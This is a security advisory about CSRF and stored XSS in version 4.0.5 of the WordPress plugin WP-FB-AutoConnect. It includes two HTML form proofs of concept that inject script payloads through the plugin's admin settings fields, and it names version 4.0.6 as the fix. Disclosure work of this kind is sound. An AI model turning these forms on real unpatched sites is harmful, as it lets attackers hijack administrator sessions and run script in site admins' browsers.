WordPress WP-FB-AutoConnect 4.0.5 CSRF / XSS

2014-12-12T00:00:00
ID PACKETSTORM:129508
Type packetstorm
Reporter Morten Nortoft
Modified 2014-12-12T00:00:00

Description

                                        
                                            `Title: WordPress 'WP-FB-AutoConnect' plugin - XSS/CSRF  
Version: 4.0.5  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/wp-fb-autoconnect/  
Contacted WordPress: 2014/11/27  
----------------------------------------------------------------  
  
## Description:   
----------------------------------------------------------------  
The simple concept behind WP-FB AutoConnect is to offer an easy-to-use widget that lets readers login to your blog with either their Facebook account or local WordPress credentials. Although many "Facebook Connect" plugins do exist, most of them are either overly complex and difficult to customize, or fail to provide a seamless experience for new visitors.  
  
## CSRF:  
----------------------------------------------------------------  
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.   
  
  
## Stored XSS:  
----------------------------------------------------------------  
Settings data from the admin page is stored unsanitized and echo'ed on the plugin's admin page. This allows an attacker to perform XSS through these fields.   
  
This includes variables such as jfb_email_to, jfb_stream_content, jfb_api_key and jfb_api_sec.  
  
PoC:  
Log in as admin on the vulnerable site and click the submit button.  
  
<form method="POST" action="http://vuln.site/wp-admin/options-general.php?page=wp-fb-autoconnect">   
<input type="text" name="jfb_username_style" value="0"><br />  
<input type="text" name="jfb_stream_content" value="progress"><script>alert(1);</script>"><br />  
<input type="text" name="jfb_email_to" value="progress"><script>alert(2);</script>"><br />  
<input type="text" name="main_opts_updated" value="1"><br />   
<input type="text" name="Submit" value="Save"><br />  
<input type="submit">  
</form>  
  
and  
  
<form method="POST" action="http://vuln.site/wp-admin/options-general.php?page=wp-fb-autoconnect">   
<input type="text" name="jfb_api_key" value="progress"><script>alert(1);</script>"><br />  
<input type="text" name="jfb_api_sec" value="progress"><script>alert(2);</script>"><br />  
<input type="text" name="fb_opts_updated" value="1"><br />   
<input type="text" name="Submit" value="Connect"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
----------------------------------------------------------------  
Update to version 4.0.6.  
`